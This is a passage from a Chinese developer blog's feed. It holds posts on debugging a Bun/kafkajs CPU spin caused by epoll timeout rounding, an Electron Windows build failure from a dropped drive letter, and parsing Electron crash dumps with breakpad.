&lt;p&gt;比较容易出问题的地方:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;缓存在内存里的大 JSON 响应体。有中文描述或者 em dash 的基本都会按 2 字节存。&lt;/li&gt;
&lt;li&gt;会把源码留在堆里的运行环境，比如 Workers 这类 V8 isolate。打包器会转义字符串字面量，但不会转义正则和注释。&lt;/li&gt;
&lt;li&gt;i18n 资源、模板、Markdown 这类本身就带非 ASCII 的大文本。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;两个容易踩的坑: &lt;code&gt;replace()&lt;/code&gt;、&lt;code&gt;slice()&lt;/code&gt; 这类从旧字符串派生新字符串的操作会沿用旧字符串的宽度，转义完要再生成一个新字符串才生效。&lt;code&gt;TextDecoder&lt;/code&gt; 解出来的外部字符串不在 V8 的堆统计里，看堆的时候要把 &lt;code&gt;external&lt;/code&gt; 一起算上。&lt;/p&gt;
&lt;h2&gt;最后 {#conclusion}&lt;/h2&gt;
&lt;p&gt;catalog 已经改成存 &lt;code&gt;Uint8Array&lt;/code&gt;，Workers 上的正则也改成了 &lt;code&gt;\uXXXX&lt;/code&gt;。只留名字、描述和 action 列表时，JSC 堆从 26.4 MiB 降到 17.2 MiB；Workers 稳态堆从 88.7 MiB 降到 74.8 MiB。&lt;/p&gt;
</content:encoded><category>javascript</category><category>bun</category><category>cloudflare workers</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Bun 服务周期性 CPU 100% 排查</title><link>https://bugs.cc/zh/posts/troubleshooting-bun-kafkajs-cpu-spin/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/troubleshooting-bun-kafkajs-cpu-spin/</guid><description>前几天线上遇到一个挺有意思的问题：一个用 Bun 写的服务，三个 pod 的 CPU 会周期性打满一个核，每次正好 10 分钟，然后自己掉下去。服务本身没报错，接口正常，健康检查也从来没失败过，就是 CPU 监控很难看。</description><pubDate>Tue, 25 Aug 2026 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;前几天线上遇到一个挺有意思的问题：一个用 Bun 写的服务，三个 pod 的 CPU 会周期性打满一个核，每次正好 10 分钟，然后自己掉下去。服务本身没报错，接口正常，健康检查也从来没失败过，就是 CPU 监控很难看。&lt;/p&gt;
&lt;p&gt;排查完发现是两个单独看都不严重的问题叠在一起，中间还踩上了内核版本和 Bun 小版本的坑，记录一下。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;环境：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bun 1.3.14（Dockerfile 里写死的）&lt;/li&gt;
&lt;li&gt;kafkajs 2.2.4&lt;/li&gt;
&lt;li&gt;Kubernetes 节点内核 5.10.134&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;复现仓库: &lt;a href=&quot;https://github.com/BlackHole1/bun-epoll-timer-spin-repro&quot;&gt;bun-epoll-timer-spin-repro&lt;/a&gt;，后面会用到。&lt;/p&gt;
&lt;h2&gt;现象 {#symptom}&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/troubleshooting-bun-kafkajs-cpu-spin/cpu-day.png&quot; alt=&quot;某一天三个 pod 的分钟级 CPU&quot;&gt;&lt;/p&gt;
&lt;p&gt;这是某一天三个 pod 的分钟级 CPU。图里下面的竖线是每一次 Kafka 发送，后面会说到。几个特征很明显:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CPU 顶在 0.99 核，从来没有超过 1.0，说明只有一条线程在跑满。&lt;/li&gt;
&lt;li&gt;每一段都是 600 秒的整数倍，起来和落下去都在一个采样间隔内，不是慢慢爬上去的。&lt;/li&gt;
&lt;li&gt;三个 pod 经常同时开始这段占用。&lt;/li&gt;
&lt;li&gt;凌晨基本没有，看着跟业务量有关。&lt;/li&gt;
&lt;li&gt;占用上来的时候，用户态大概 2/3，内核态大概 1/3，网络流量、fd 数、内存跟平时几乎一样。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最后一条其实已经能排除不少东西: 不是在处理大包，也不是纯 JS 计算（那样内核态不会这么高），更像是一个带着系统调用的空转。&lt;/p&gt;
&lt;p&gt;我一开始也怀疑过是 worker 在某个任务上死循环，但是 24 小时内所有跟任务超时、重试、心跳相关的日志全是 0 条，忙的时候和闲的时候日志量也几乎一样。也不是哪次部署带进来的，指标能看到的 16 天里天天都有。&lt;/p&gt;
&lt;h2&gt;先在 pod 里读 /proc {#proc-in-pod}&lt;/h2&gt;
&lt;p&gt;线上不能随便动，容器里也没有 perf，所以我直接用 &lt;code&gt;kubectl exec&lt;/code&gt; 读 &lt;code&gt;/proc&lt;/code&gt;，这个是完全只读的。&lt;/p&gt;
&lt;p&gt;先对 &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/task/*/stat&lt;/code&gt; 里每条线程的 utime / stime 做 3 秒差分，找占 CPU 的线程。CPU 打满时的结果（100 ticks 等于一个核）:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;tid   comm        d_utime  d_stime
8     bun         197      100
95    HTTP        0        0
9     bun         0        0
16    Bun         0        0
15    Bun         0        0
14    Bun         0        0
13    Bun         0        0
12    HeapHelper  0        0
11    HeapHelper  0        0
10    HeapHelper  0        0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;占 CPU 的就是主线程（tid 和 pid 相同的那条）。然后高频去读它的 &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/task/&amp;lt;tid&amp;gt;/syscall&lt;/code&gt;。这个文件第一列是线程当前卡在哪个 syscall 号上&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/troubleshooting-bun-kafkajs-cpu-spin/#user-content-fn-syscall-numbers&quot; id=&quot;user-content-fnref-syscall-numbers&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;，后面跟着 6 个参数；线程在用户态时，写的是 &lt;code&gt;running&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;i=0
while [ $i -lt 3000 ]; do
  cat /proc/8/task/8/syscall &amp;gt;&amp;gt; /tmp/sc.txt
  i=$((i+1))
done
# 停在哪个 syscall 上
awk &apos;{print $1}&apos; /tmp/sc.txt | sort | uniq -c | sort -rn
# epoll_pwait 的 timeout 参数（第 4 个参数，也就是第 5 列）
awk &apos;$1 == 281 {print $5}&apos; /tmp/sc.txt | sort | uniq -c | sort -rn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;空闲时的输出:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;   2969 281
     29 running
      2 202

   1850 0x63
    325 0x53
    201 0x56
    192 0x57
     90 0x5d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3000 次采样里 2969 次停在 syscall 281，也就是 &lt;code&gt;epoll_pwait&lt;/code&gt;，timeout 是几十到几百毫秒，很正常。但是有个细节: 从头到尾没有出现过 441（&lt;code&gt;epoll_pwait2&lt;/code&gt;）。这个后面会用到。&lt;/p&gt;
&lt;p&gt;CPU 打满时的输出:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;   2979 running
     21 281

     21 0x1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;几乎全在用户态，偶尔停在 &lt;code&gt;epoll_pwait&lt;/code&gt; 上，而且 timeout 是 1ms。&lt;/p&gt;
&lt;p&gt;再看 &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/net/tcp&lt;/code&gt;，空闲时只有 4 条连接（Redis、Postgres），CPU 打满时多出了两条到 9095 端口的连接，那是 Kafka broker。&lt;/p&gt;
&lt;h2&gt;每次都是 Kafka 发送 {#kafka-send}&lt;/h2&gt;
&lt;p&gt;这个服务用 kafkajs 往 Kafka 发计量事件。于是我把 48 小时内所有会触发 Kafka 发送的日志拉出来，和 115 段 CPU 占用对了一下时间:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每段占用的起点，距离最近一次发送在 -13 秒到 +1 秒之内（采样误差内）&lt;/li&gt;
&lt;li&gt;每段占用的终点，都是这段里最后一次发送再加 600 秒到 611 秒&lt;/li&gt;
&lt;li&gt;反过来，373 次发送全部落在某段占用里，一次不漏&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;600 秒是 Kafka broker &lt;code&gt;connections.max.idle.ms&lt;/code&gt; 的默认值: 连接空闲 10 分钟后，broker 会主动把连接关掉。所以这段 CPU 占用的时长，就是一条 Kafka 连接从建立到被掐掉的时间。三个 pod 同时打满，是因为同一个用户的一批任务被分到了三台机器上，几秒内各发了一条消息。&lt;/p&gt;
&lt;h2&gt;kafkajs 里的 1ms setTimeout {#kafkajs-settimeout}&lt;/h2&gt;
&lt;p&gt;看 kafkajs 2.2.4 的 &lt;code&gt;src/network/requestQueue/index.js&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;checkPendingRequests() {
  while (this.pending.length &amp;gt; 0 &amp;amp;&amp;amp; this.canSendSocketRequestImmediately()) {
    // ...
  }
  this.scheduleCheckPendingRequests() // [!code highlight]
}

scheduleCheckPendingRequests() {
  let scheduleAt = this.throttledUntil - Date.now() // [!code highlight]
  if (!this.throttleCheckTimeoutId) {
    if (this.pending.length &amp;gt; 0) {
      scheduleAt = scheduleAt &amp;gt; 0 ? scheduleAt : CHECK_PENDING_REQUESTS_INTERVAL
    }
    this.throttleCheckTimeoutId = setTimeout(() =&amp;gt; { // [!code highlight:4]
      this.throttleCheckTimeoutId = null
      this.checkPendingRequests()
    }, scheduleAt)
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;checkPendingRequests&lt;/code&gt; 不管怎么样都会再调一次 &lt;code&gt;scheduleCheckPendingRequests&lt;/code&gt;。后者在 pending 为空、也没有限流的情况下，依然会 &lt;code&gt;setTimeout&lt;/code&gt; 一下，回调里再调 &lt;code&gt;checkPendingRequests&lt;/code&gt;。而 &lt;code&gt;throttledUntil&lt;/code&gt; 的初始值是 -1，所以 &lt;code&gt;scheduleAt&lt;/code&gt; 是一个很大的负数。Node 和 Bun 都会把负数延迟当成 1ms 来处理。&lt;/p&gt;
&lt;p&gt;于是从连接收到第一个响应开始，每条 broker 连接上就挂着一个 1ms 的 &lt;code&gt;setTimeout&lt;/code&gt; 循环，直到 &lt;code&gt;destroy()&lt;/code&gt; 被调用。而 &lt;code&gt;destroy()&lt;/code&gt; 只在连接断开时才会调。&lt;/p&gt;
&lt;p&gt;这个问题上游早有人报过（&lt;a href=&quot;https://github.com/tulios/kafkajs/issues/1556&quot;&gt;kafkajs#1556&lt;/a&gt;、&lt;a href=&quot;https://github.com/tulios/kafkajs/issues/1704&quot;&gt;kafkajs#1704&lt;/a&gt;），修复的 PR 也早就有了（&lt;a href=&quot;https://github.com/tulios/kafkajs/pull/1572&quot;&gt;kafkajs#1572&lt;/a&gt;），但是一直没合进去。我们仓库里之前也为它打过一个 patch，不过只是把负数兜底成了 &lt;code&gt;Math.max(1, scheduleAt || 1)&lt;/code&gt;，等于把这个 1ms 的循环留下来了，并没有消掉。&lt;/p&gt;
&lt;p&gt;但是说到底，一个 1ms 的 &lt;code&gt;setTimeout&lt;/code&gt; 循环，在 Node 上也就是 2% 左右的 CPU，怎么会打满一个核？&lt;/p&gt;
&lt;h2&gt;为什么 Bun 会打满一个核 {#why-bun-spins}&lt;/h2&gt;
&lt;p&gt;答案在 Bun 的事件循环里。Bun 1.3.14 的 &lt;code&gt;packages/bun-usockets/src/eventing/epoll_kqueue.c&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;// [!code word:tv_nsec / 1000000]
static int bun_epoll_pwait2(int epfd, struct epoll_event *events, int maxevents, const struct timespec *timeout) {
    if (has_epoll_pwait2 != 0) {
        // ... sys_epoll_pwait2(...)
    }

    int timeoutMs = -1;
    if (timeout) {
        timeoutMs = timeout-&amp;gt;tv_sec * 1000 + timeout-&amp;gt;tv_nsec / 1000000;
    }

    do {
        ret = epoll_pwait(epfd, events, maxevents, timeoutMs, &amp;amp;mask);
    } while (IS_EINTR(ret));

    return ret;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bun 优先用 &lt;code&gt;epoll_pwait2&lt;/code&gt;，它接受纳秒级的 &lt;code&gt;timespec&lt;/code&gt;。但是 &lt;code&gt;epoll_pwait2&lt;/code&gt; 是 Linux 5.11 才有的，Bun 会检查内核版本，低于 5.11 就退回 &lt;code&gt;epoll_pwait&lt;/code&gt;，超时按毫秒传。问题就在 &lt;code&gt;tv_nsec / 1000000&lt;/code&gt; 这一行: 向下取整。&lt;/p&gt;
&lt;p&gt;一个 1ms 的定时器，在回调里又 &lt;code&gt;setTimeout&lt;/code&gt; 了自己。事件循环算下一次要等多久，剩余 0.9x ms，取整之后变成 0，&lt;code&gt;epoll_pwait(…, 0)&lt;/code&gt; 立刻返回，再算一次还是 0，就这样一直转到定时器到期。然后回调再设一个新的 1ms 定时器，接着转。&lt;/p&gt;
&lt;p&gt;这也解释了前面 &lt;code&gt;/proc&lt;/code&gt; 里看到的现象: 主线程从来没调用过 &lt;code&gt;epoll_pwait2&lt;/code&gt;，因为我们的节点内核是 5.10.134。CPU 打满时采到的那些 &lt;code&gt;0x1&lt;/code&gt;，是每一轮里唯一真正会睡的一次调用。timeout 为 0 的那些调用立刻就返回了，几乎采不到。&lt;/p&gt;
&lt;p&gt;这段向下取整的代码 1.3.11 里就有了，但是只有 1.3.14 会出问题。差别在 1.3.14 的 &lt;a href=&quot;https://github.com/oven-sh/bun/pull/29806&quot;&gt;bun#29806&lt;/a&gt;: 它把 &lt;code&gt;timespec.now()&lt;/code&gt; 底层的时钟，从 Linux 上的 &lt;code&gt;CLOCK_MONOTONIC_COARSE&lt;/code&gt; 换成了纳秒级的 &lt;code&gt;hw_timer&lt;/code&gt;（rdtsc）。旧时钟是毫秒级的 jiffy 粒度，1ms 定时器的剩余时间要么是整 1ms，要么已经到期，不会出现 0.9ms 这种值，所以取整也取不出 0。换成纳秒时钟之后，这个早就存在的取整问题才第一次被撞上。&lt;/p&gt;
&lt;p&gt;Bun 上游在 &lt;a href=&quot;https://github.com/oven-sh/bun/pull/34780&quot;&gt;bun#34780&lt;/a&gt; 修掉了这个问题（改成向上取整），但只进了 1.4.0，1.3.14 之后再没有发过 1.3.x。所以受影响的就只有 1.3.14 这一个版本，而且还得跑在没有 &lt;code&gt;epoll_pwait2&lt;/code&gt; 的内核上。&lt;/p&gt;
&lt;h2&gt;本地复现 {#local-repro}&lt;/h2&gt;
&lt;p&gt;复现这个问题不需要真去找一台 5.10 内核的机器。Docker 的 seccomp 可以让某个 syscall 直接返回 ENOSYS。Bun 检测到 &lt;code&gt;epoll_pwait2&lt;/code&gt; 返回 ENOSYS 时，会走同一条退回 &lt;code&gt;epoll_pwait&lt;/code&gt; 的逻辑:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;defaultAction&quot;: &quot;SCMP_ACT_ALLOW&quot;,
  &quot;syscalls&quot;: [
    { &quot;names&quot;: [&quot;epoll_pwait2&quot;], &quot;action&quot;: &quot;SCMP_ACT_ERRNO&quot;, &quot;errnoRet&quot;: 38 }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我把整个复现放在了 &lt;a href=&quot;https://github.com/BlackHole1/bun-epoll-timer-spin-repro&quot;&gt;bun-epoll-timer-spin-repro&lt;/a&gt; 里，只依赖 Docker:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;git clone https://github.com/BlackHole1/bun-epoll-timer-spin-repro.git
cd bun-epoll-timer-spin-repro
./run.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它会在 Bun 1.3.13 / 1.3.14 / 1.4.0 三个镜像里，分别在有和没有 &lt;code&gt;epoll_pwait2&lt;/code&gt; 的情况下跑三种定时器: 直接 &lt;code&gt;setTimeout(fn, 1)&lt;/code&gt;、直接 &lt;code&gt;setTimeout(fn, 10)&lt;/code&gt;，以及直接构造 kafkajs 的 &lt;code&gt;RequestQueue&lt;/code&gt; 并调一次 &lt;code&gt;checkPendingRequests()&lt;/code&gt;（不需要真的连 Kafka）。每个 case 跑 5 秒，统计定时器触发频率和 CPU:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;bun       epoll_pwait2   mode        iter/s   user%    sys%
1.3.13    available      timer1         330     1.2     1.4
1.3.13    available      timer10         84     1.4     0.8
1.3.13    available      kafkajs        327     2.2     0.9
1.3.13    blocked        timer1         327     1.7     1.1
1.3.13    blocked        timer10         84     1.5     1.2
1.3.13    blocked        kafkajs        321     2.3     1.5
1.3.14    available      timer1         336     1.2     0.7
1.3.14    available      timer10         85       1     0.2
1.3.14    available      kafkajs        335     2.3     0.7
1.3.14    blocked        timer1         996      56    43.5
1.3.14    blocked        timer10         92       2     0.7
1.3.14    blocked        kafkajs        993    62.9    36.6
1.4.0     available      timer1         334     1.3     1.6
1.4.0     available      timer10         86     0.8     0.4
1.4.0     available      kafkajs        337       2     1.3
1.4.0     blocked        timer1         338       1     1.1
1.4.0     blocked        timer10         85     0.7     0.5
1.4.0     blocked        kafkajs        334     1.3     1.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只有 1.3.14 加上 blocked 那两行会打满一个核。所以其实跟 kafkajs 没什么关系，任何一条 1ms 的 &lt;code&gt;setTimeout&lt;/code&gt; 循环在这个组合下都一样。&lt;/p&gt;
&lt;p&gt;strace 看到的就是 2 秒内 14.8 万次 &lt;code&gt;epoll_pwait(4, [], 1024, 0, [], 8) = 0 &amp;lt;0.000001&amp;gt;&lt;/code&gt;，每次间隔 6 到 7 µs。这就是用户态 2/3、内核态 1/3 的来源。&lt;/p&gt;
&lt;h2&gt;修复 {#fix}&lt;/h2&gt;
&lt;p&gt;改 kafkajs 的 patch: pending 为空且没有限流时，直接不设定时器，其余逻辑不动。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-diff&quot;&gt;       if (this.pending.length &amp;gt; 0) {
         scheduleAt = scheduleAt &amp;gt; 0 ? scheduleAt : CHECK_PENDING_REQUESTS_INTERVAL
       }
-      // Prevent negative or invalid delays
-      scheduleAt = Math.max(1, scheduleAt || 1)
+      if (scheduleAt &amp;lt;= 0) {
+        return
+      }
       this.throttleCheckTimeoutId = setTimeout(() =&amp;gt; {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;复现环境里 CPU 从 99% 降到 0.2%。&lt;/p&gt;
&lt;p&gt;另外顺手做了两件事:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;把 kafkajs 从 &lt;code&gt;^2.2.4&lt;/code&gt; 改成写死 &lt;code&gt;2.2.4&lt;/code&gt;。Bun 的 &lt;code&gt;patchedDependencies&lt;/code&gt; 是按 &lt;code&gt;kafkajs@2.2.4&lt;/code&gt; 这个 key 匹配的，一旦 lockfile 解析到别的版本，Bun 会静默跳过补丁，&lt;code&gt;bun install&lt;/code&gt; 退出码还是 0，一个字都不提示。&lt;/li&gt;
&lt;li&gt;加了一个直接引用 &lt;code&gt;kafkajs/src/network/requestQueue/index.js&lt;/code&gt; 的测试，断言无 pending 时不会 &lt;code&gt;setTimeout&lt;/code&gt;。以后 patch 丢了，测试会先挂。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;最后 {#conclusion}&lt;/h2&gt;
&lt;p&gt;线上已经打上这个 patch，那段周期性打满一个核的曲线没了。等 Bun 升到 1.4.0 之后，就算 patch 丢了，这个组合也不会再出现。&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;脚注&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-syscall-numbers&quot;&gt;
&lt;p&gt;syscall 号是跟架构走的。x86_64 可以去内核源码的 &lt;a href=&quot;https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl&quot;&gt;syscall_64.tbl&lt;/a&gt; 里查，本机装了 auditd 的话也可以直接 &lt;code&gt;ausyscall x86_64 281&lt;/code&gt;。后面会碰到这几个:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;202  futex
281  epoll_pwait
441  epoll_pwait2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;arm64 上 &lt;code&gt;epoll_pwait&lt;/code&gt; 是 22。不过 &lt;code&gt;epoll_pwait2&lt;/code&gt; 这种近几年才加进来的，所有架构都是 441。 &lt;a href=&quot;https://bugs.cc/zh/posts/troubleshooting-bun-kafkajs-cpu-spin/#user-content-fnref-syscall-numbers&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>bun</category><category>kafka</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Electron 39.6.0 tag 在 Windows 上构建失败排查</title><link>https://bugs.cc/zh/posts/troubleshooting-electron-39.6.0-tag-build-failure-on-windows/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/troubleshooting-electron-39.6.0-tag-build-failure-on-windows/</guid><description>挺久没在 Windows 上构建 Electron 了，昨天下午构建 electron@39.6.0 这个 tag 一直失败，而最新的 commit 上却完全正常。一直排查到晚上。</description><pubDate>Tue, 10 Mar 2026 08:07:00 GMT</pubDate><content:encoded>&lt;p&gt;挺久没在 Windows 上构建 Electron 了，昨天下午构建 &lt;a href=&quot;https://github.com/electron/electron/tree/v39.6.0&quot;&gt;electron@39.6.0&lt;/a&gt; 这个 tag 一直失败，而最新的 commit 上却完全正常。一直排查到晚上。&lt;/p&gt;
&lt;p&gt;尝试了 PowerShell/Cmd，也重建整个源码树，甚至还重启了电脑，但是都不行。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;复现环境：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Electron 39.6.0（tag）&lt;/li&gt;
&lt;li&gt;Windows 10/11&lt;/li&gt;
&lt;li&gt;PowerShell 和 Cmd 都试过&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最开始我怀疑是 depot_tools 版本问题，但是 &lt;a href=&quot;https://github.com/electron/build-tools&quot;&gt;@electron/build-tools&lt;/a&gt; 会在启动前更新 depot_tools，所以也不是。&lt;/p&gt;
&lt;p&gt;切换到了最新的 electron commit 上是好的，也就是问题不在系统层面。&lt;/p&gt;
&lt;p&gt;报错说，可以执行 .\siso_failed_commands.bat 来重新运行失败的命令，我运行后，是正常无报错的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/troubleshooting-electron-39.6.0-tag-build-failure-on-windows/failed-log.jpg&quot; alt=&quot;构建失败日志&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/troubleshooting-electron-39.6.0-tag-build-failure-on-windows/siso-exec.png&quot; alt=&quot;执行 siso_failed_commands.bat&quot;&gt;&lt;/p&gt;
&lt;p&gt;手动执行 bat 文件完全成功。&lt;/p&gt;
&lt;p&gt;又重新看了下错误日志，注意到:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;err: fork/exec /Users/live/.electron_build_tools/third_party/depot_tools/bootstrap-2@3_11_8_chromium_35_bin/python3/bin/python3.exe: The system cannot find the path specified.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前面的 &lt;code&gt;C:&lt;/code&gt; 盘符被丢弃了，而在 &lt;code&gt;siso_failed_commands.bat&lt;/code&gt; 中是有这个盘符的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/troubleshooting-electron-39.6.0-tag-build-failure-on-windows/siso-bat-content.png&quot; alt=&quot;siso_failed_commands.bat 内容&quot;&gt;&lt;/p&gt;
&lt;p&gt;也就是说是 siso（构建执行器）在执行命令时丢失了 C: 驱动器前缀。(&lt;code&gt;C:\foo&lt;/code&gt; → &lt;code&gt;\foo&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;如果源码放在 C 盘，反而不会触发这个问题，因为 Windows 会自动把 &lt;code&gt;/&lt;/code&gt; 开头的无盘符路径解析到当前进程盘符根目录。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/electron/build-tools&quot;&gt;@electron/build-tools&lt;/a&gt; 会默认把 depot_tools 放在：&lt;code&gt;%USERPROFILE%\.electron_build_tools\third_party&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;siso 进程工作目录是跟随源码来，在: &lt;code&gt;D:\electron\release-39.6.0\src\out\Release&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;而我把 Electron 源码放在了 D 盘，导致剔除盘符后，fork/exec 执行的命令隐式变成了:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;D:/Users/live/.electron_build_tools/third_party/depot_tools/bootstrap-2@3_11_8_chromium_35_bin/python3/bin/python3.exe&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;最终报错: The system cannot find the path specified 🤷‍♂️&lt;/p&gt;
&lt;p&gt;所以只要 depot_tools 和 Electron/Chromium 源码在同一个盘符，就完全没问题。这也是为什么 Electron 的 CI 能过的原因。&lt;/p&gt;
&lt;p&gt;最后定位到相关的 CR: &lt;a href=&quot;https://chromium-review.googlesource.com/c/build/+/7134259&quot;&gt;https://chromium-review.googlesource.com/c/build/+/7134259&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;原因也确定了: 因为 golang 的 slice 是共享引用，直接修改时，会对所有持有端可见，导致这里的修改被错误的分发到后续的使用上。
解决方案就是使用 &lt;code&gt;slices.Clone&lt;/code&gt; 做一次复制即可。&lt;/p&gt;
&lt;p&gt;后续我的解决方案就是将 Electron 源码存放在 C 盘了。&lt;/p&gt;
</content:encoded><category>electron</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>在 macOS 上查看并解析 electron crash</title><link>https://bugs.cc/zh/posts/view-and-analyze-electron-crashes-on-macos/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/view-and-analyze-electron-crashes-on-macos/</guid><description>在开发 electron 应用时，有时会遇到 crash 的情况，但是由于因为某些原因，应用可能没有接入 sentry 或者其他 crash 分析平台，这时候就需要手动查看 crash 日志来定位问题。</description><pubDate>Tue, 15 Oct 2024 12:56:00 GMT</pubDate><content:encoded>&lt;p&gt;在开发 electron 应用时，有时会遇到 crash 的情况，但是由于因为某些原因，应用可能没有接入 sentry 或者其他 crash 分析平台，这时候就需要手动查看 crash 日志来定位问题。&lt;/p&gt;
&lt;h2&gt;寻找本地 crash 日志 {#find-crash-logs}&lt;/h2&gt;
&lt;p&gt;因为 electron 本身是基于 chromium 的，所以在 crash 相关的操作也基本和 chromium 一致。&lt;/p&gt;
&lt;p&gt;在 &lt;a href=&quot;https://www.chromium.org/developers/crash-reports/#on-mac&quot;&gt;chromium crash-reports&lt;/a&gt; 中，我们可以看到 crash 文件被保留在 &lt;code&gt;~/Library/Application\ Support/Chromium/Crashpad/completed&lt;/code&gt; 目录下。但是由于我们是 electron 应用，没有“提交”这个过程，所以 crash 文件会被保留在 &lt;code&gt;~/Library/Application\ Support/Chromium/Crashpad/pending&lt;/code&gt; 目录下。&lt;/p&gt;
&lt;p&gt;在查找前，记得把上面的目录中的 &lt;code&gt;Chromium&lt;/code&gt; 替换为你的应用名，比如 &lt;code&gt;OOMOL Studio&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;如果你 crash 的次数比较多，那么你会在这个目录下看到很多的 &lt;em&gt;*.dmp&lt;/em&gt; 文件，一般而言，我们需要分析的都是最近一次 crash 的，所以最新的文件就是我们需要的。&lt;/p&gt;
&lt;h2&gt;解析 crash 文件 {#parse-crash-file}&lt;/h2&gt;
&lt;h3&gt;使用 &lt;code&gt;breakpad&lt;/code&gt; {#breakpad}&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;breakpad&lt;/code&gt; 是一个 Google 开源的 crash 分析工具，也是专门为 chromium 开发的。我们可以使用这个工具去解析我们的 &lt;em&gt;dmp&lt;/em&gt; 文件。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;git clone https://chromium.googlesource.com/breakpad/breakpad
cd breakpad
./configure
make
# 可选
make install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行上面的命令后，你可以通过 &lt;code&gt;./src/processor/minidump_stackwalk&lt;/code&gt; 来解析 dmp，也可以直接使用 &lt;code&gt;minidump_stackwalk&lt;/code&gt; (如果你执行了 &lt;code&gt;make install&lt;/code&gt; 的话)&lt;/p&gt;
&lt;p&gt;基本的使用方法是:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;minidump_stackwalk /path/to/your.dmp [/path/to/symbols]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你直接使用 &lt;code&gt;minidump_stackwalk /path/to/your.dmp&lt;/code&gt; 那么你得到的输出也都是地址，无法看到函数名。所以我们需要提供符号文件，这样才能看到函数名。&lt;/p&gt;
&lt;p&gt;你可以通过: &lt;code&gt;wget https://github.com/electron/electron/releases/download/&amp;lt;ELECTEON_VERSION&amp;gt;/electron-&amp;lt;ELECTEON_VERSION&amp;gt;-darwin-arm64-symbols.zip&lt;/code&gt; 来下载符号文件，以我自己为例，我下载的是:&lt;/p&gt;
